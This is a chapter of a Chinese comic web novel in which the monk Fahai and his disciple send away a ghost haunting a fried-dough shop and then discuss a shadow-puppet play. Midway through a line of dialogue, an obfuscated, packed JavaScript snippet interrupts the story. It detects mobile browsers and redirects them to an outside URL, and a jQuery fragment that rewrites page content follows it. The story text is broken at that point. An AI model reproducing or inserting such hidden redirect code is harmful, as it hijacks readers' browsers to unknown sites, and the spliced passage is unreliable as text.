浑浑噩噩的一夜过去，小和尚还没睡醒，就被一阵敲门声吵醒了。
“师父！法海禅师！救命啊！”
小和尚揉着眼睛去开门，看见门口站着一个中年男人，矮矮胖胖的，穿着一身油乎乎的围裙，脸上两个黑眼圈跟熊猫似的，一看就是好几天没睡好觉。
“你谁啊？”小和尚问。
“我是临安城东大街卖油条的老许啊！我找法海禅师！”
“师父在念经呢，你等会儿。”
小和尚把老许领到院子里，让他坐在石凳上等着，自己去禅房叫法海。法海出来的时候，老许已经等不及了，站起来就扑过来：“禅师啊！你得救救我！我家里闹鬼了！”
“慢慢说，”法海坐下来，“什么样的鬼？”
老许擦了擦汗，声音都发颤：“这个鬼凶得很！每天晚上在我家里折腾，睡觉的时候鼾声大得跟打雷似的，喝醉了酒就骂人，还...还要我洗干净脚才能上床睡觉！”
法海沉默了一下：“你确定这是鬼，不是你老婆？”
“我一个老光棍，哪来的老婆？”老许急了，“我都打了半辈子光棍了，连女人的手都没摸过，哪来的老婆？”
“阿弥陀佛，”法海念了一声佛号，“我忘了，你连老和尚都不如。”
老许：“......”
小和尚在旁边憋笑憋得脸都红了。
老许缓了缓，开始讲事情的经过。原来是一个月前的四更天，他正在铺子里炸油条，准备早上的生意。窗外忽然有个女人说话：“你这油温不对，面的比例也不对，捏的形状也不对。”
老许卖了半辈子油条，最听不得别人对他的手艺指指点点。他头都没回，张嘴就骂：“你大爷的，你行你来！”
这话一出口，他就后悔了。因为那女人说了一句：“好，这可是你说的。”然后她就进来了。从那以后，这个女人就住在了老许家里。她说她不是鬼，但老许觉得她就是鬼——哪个正常人会半夜不睡觉，盯着一个炸油条的老光棍指手画脚？
“她管我炸油条，管我揉面，管我放多少盐，放多少碱。我做了一辈子油条，手一抓就知道多少面多少水，她非得让我拿秤称！”老许越说越委屈，“昨天还嫌我袜子臭，让我一天换两双！我哪来那么多袜子！”
法海听完，点了点头：“走吧，去看看。”
小和尚跟在后面，一路上都在偷笑。
老许家的铺子不大，就在临安城东大街的拐角处，门口支着一个油乎乎的棚子，棚子下面摆着三张桌子、十来把板凳。这会儿天刚蒙蒙亮，街上还没什么人。
法海他们被迎着进了铺子。
小和尚跟在后面，鼻子已经被油条的香味勾走了。他咽了咽口水，小声说：“师父，咱们能不能先吃点东西？”
法海看了他一眼，没说话，从袖子里摸出几文钱放在桌上。老许赶紧摆手：“不用不用，禅师肯来就是给我面子，吃几根油条算什么。”
“规矩不能坏。”法海说。
小和尚已经迫不及待地抓起一根油条咬了一口，外酥里嫩，满嘴喷香。他又端起豆浆喝了一口，烫得龇牙咧嘴，但舍不得吐出来，含含糊糊地说：“好喝！”
法海也吃了一根油条，喝了一碗豆浆。他吃得很慢，像是在品什么东西。吃完之后，他把碗放下，目光扫过铺子的角落，最后定在灶台旁边的阴影里。
“出来吧。”他说。
角落里的空气像是被什么东西搅动了，一个女人的身影慢慢显现出来。她穿着一身灰扑扑的衣裳，脸色苍白，身体半透明，站在那儿像一团随时会散的烟。
小和尚吓得手里的油条差点掉了，但他很快镇定下来——好歹是法海的徒弟，不能丢人。
那女鬼低着头，不敢看法海，浑身瑟瑟发抖。
“油条不错，豆浆不错，”法海慢悠悠地说，“跟五百里外油条老张家的味道一模一样。”
女鬼猛地抬起头，眼睛里满是惊讶：“禅师认得老张家的油条？”
“年轻的时候吃过。”法海说，“那时候老张还没娶媳妇，一个人支个摊子，天不亮就起来和面。他炸油条有个诀窍，面和好后要醒够半个时辰，炸出来才酥脆。你这油条，跟他一个味儿。”
女鬼的眼泪掉下来了。她是个鬼，按理说哭不出眼泪，但小和尚分明看见她脸上有水痕。
“老张是我男人。”她说。
老许在旁边愣住了：“老张？哪个老张？”
“五百里外那个老张。”法海说。
女鬼擦了擦脸，开始讲她的故事。她十六岁就嫁给了老张，那时候老张还是个穷小子，家里就一间土坯房，一口铁锅，半袋子面。嫁进门第二天，天还没亮，婆婆就把她推醒，让她起来干活。从那以后，她就没有睡过一个囫囵觉。
半夜起来挑水，一担一担地从井边挑到厨房，肩膀磨破了皮，结痂，再磨破。和面，揉面，调味，下锅油炸，吆喝生意。从天黑忙到天亮，从天亮忙到晌午，才能歇口气。冬天手指头冻得跟胡萝卜似的，夏天灶台前热得像蒸笼。
就这么熬了几十年，好不容易攒了点家底，盖了新房子，买了驴拉磨，想着能过几天清闲日子了。谁想到去年一场大病，说走就走，连句话都没留下。
“我死了不到半年，”女鬼的声音发颤，“老张就娶了个年轻的，身体硬朗的，能干的。那女人住我的房子，睡我的床，用我的锅炸油条。我心里有气，不闹腾一下，投不了胎。”
老许听到这里，壮着胆子说了一句：“你来气，你折腾老张去啊！你折腾我做什么？”
女鬼看了他一眼，有点不好意思：“我和老张几十年夫妻，我知道他也没过过几天好日子。年轻的时候被婆婆管着，中年被我管着，老了还得自己管自己。他也不容易，娶那个年轻的，也是为了有人照顾他。”
她顿了顿，又说：“我想来想去，算了，还是找个别的地方出气。”
老许：“......所以你找上我？”
“你骂我。”女鬼说，“那天晚上你在窗户里骂我，说‘你行你来’，这是你请我进来的。”
老许张了张嘴，想反驳，但又觉得好像确实是这么回事。他垂头丧气地坐在凳子上，不说话了。
女鬼又说：“其实我也不是故意折腾你。我就是...习惯了。几十年都是这么过的，看不得别人干活不利索。你炸油条的手法确实不对，面和得太硬，碱放得太多，炸出来发苦。我教你那些，是真的想让你把油条炸好。”
老许抬起头，表情复杂。
“现在气也出完了，”女鬼说，“我该走了。老许，你是个好人，就是太不会过日子。油条的面要醒够半个时辰，碱少放一半，油温六成热下锅。记住了吗？”
老许点了点头，眼眶有点红。
女鬼的身影越来越淡，越来越淡，最后像一缕烟一样散了。铺子里安静了下来，只有灶台上的油锅还在咕嘟咕嘟地冒着泡。
老许站在那儿，看着女鬼消失的地方，忽然抹起了眼泪。
法海问：“舍不得她？”
老许吸了吸鼻子：“不是，我就是想起自己是个光棍。”
小和尚翻了个白眼。
法海站起来，对老许说：“好好过日子吧。下次再闹鬼，先想想是不是自己的问题。”
老许连连点头，送他们出门的时候，还在念叨：“面和好后要醒半个时辰，碱少放一半，油温六成热......”
小和尚走在路上，脑子里还在想那个女鬼。他忍不住问法海：“师父，她真的去投胎了吗？”
“应该吧。”
“那她能投个好胎吗？”
法海想了想：“这辈子吃了苦，下辈子应该能享福。不过这种事，谁也说不准。”
小和尚“哦”了一声，又问：“师父，你年轻的时候真的吃过老张家的油条？五百里外呢，你怎么去的？”
法海没回答。
“你不会是骗人的吧？出家人不打诳语哦。”
“我吃的是临安城里的油条，老张的徒弟在这儿开过铺子，后来关了。”法海说，“味道差不多，就随口一说。”
“那你为什么说跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401665|200421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五百里外老张家的味道一模一样？你这不是打诳语吗？”
“佛法讲方便法门，有时候说点善意的假话，能让人放下执念，那就是真话。”
小和尚琢磨了半天：“师父，你这是诡辩。”
“讨打？”
“不不不，我说错了，师父您说得对！”
两个人一路拌着嘴，走到西大街的时候，天已经黑透了。临安城的夜市刚刚开始，街上人来人往，卖馄饨的、卖糖葫芦的、卖杂货的，吆喝声此起彼伏。法海忽然停下来，看着街边一个搭着布棚子的摊子。
小和尚顺着他的目光看过去，是一个皮影戏台子。台上正演着《鹊桥会》，牛郎织女隔着银河相望，皮影人的影子投在白布上，活灵活现。台下坐着一圈人，老老少少都有，看得入神。
“师父，又要看皮影戏？”小和尚有点不情愿，“来来回回不就那几个剧目吗？鹊桥会、长恨歌、霸王别姬，我都看腻了。”
法海没理他，径直走过去，找了个位置坐下。小和尚没办法，只好跟过去，坐在他旁边。
台上的皮影戏正演到高潮，织女被王母娘娘抓走，牛郎挑着两个孩子在后面追，眼看就要追上了，王母娘娘拔下金簪在天空一划，一道天河横在中间，波涛滚滚，牛郎再也过不去了。
台下有人叹气，有人抹眼泪。小和尚偷看了一眼法海，发现师父的表情很平静，眼睛看着台上的皮影，但眼神好像穿过了那块白布，看到了很远的地方。
“师父，你是不是把自己当剧中人了？”小和尚笑嘻嘻地说，“这几个都是爱情剧，你凡心动了？”
“讨打？”
“那我想不明白，你到底为什么这么喜欢皮影戏？每次都看，每次都一样，你不腻吗？”
法海沉默了一会儿，说：“为师观皮影戏，是为参透佛法。”
“皮影戏里有什么佛法？”
“你说皮影戏和戏里的人，是真，是假？”
“当然是假，”小和尚想都没想，“皮影不就是靠一根蜡烛、一块布、一双手在背后操控吗？”
“那你又确定，”法海看着他，“你的背后没有一双手在操控？”
小和尚愣住了。他下意识地回头看了一眼，什么都没有。他又回头看了一眼，还是什么都没有。他连着转了好几圈，像一只追自己尾巴的猫，但背后始终空空如也。
“师父，你是说...我们也是皮影？”小和尚的声音有点发抖。
“我只是让你想想。”
小和尚不说话了。他看着台上的皮影戏，看着那些纸片人在白布上跑来跑去，看着操纵皮影的艺人在布后面忙得满头大汗。忽然他觉得自己好像明白了什么。
“师父，我懂了。”他说。
“懂什么了？”
“如果我背后有双手，那双手背后也应该有一双手。如此逻辑，便是无穷尽也。所以万象皆幻，万法皆空。这是我们要勘破的法执。”
法海看了他一会儿，表情很微妙。
“不，”他说，“这是我们要勘破的空执。你没有基础常识，回去面壁抄经。”
小和尚张大了嘴：“师父！你说这么多就是为了挖个坑罚我！”
“阿弥陀佛。”
台上的皮影戏散了，人群渐渐散去。法海站起来，拍拍袍子上的灰，往回走。小和尚跟在后面，嘴里嘟囔个不停，但他心里一直在想师父的话。
你的背后有没有一双手在操控？
他忍不住又回头看了一眼。这次他看见了——不是手，是一个人。一个女人，穿着白衣服，站在街对面的屋檐下，远远地看着他。小和尚想看清楚她的脸，但灯笼的光晃得他眼花，只看到一个模糊的轮廓。
“师父。”他喊了一声，回头再看，那个人已经不见了。
“怎么了？”
“没什么，好像看错了。”
法海没说什么，只是加快了脚步。
小和尚小跑着跟上去，心里忽然涌起一种奇怪的感觉——不是害怕，是一种说不清的东西，像是有什么很重要的事情，他想不起来了。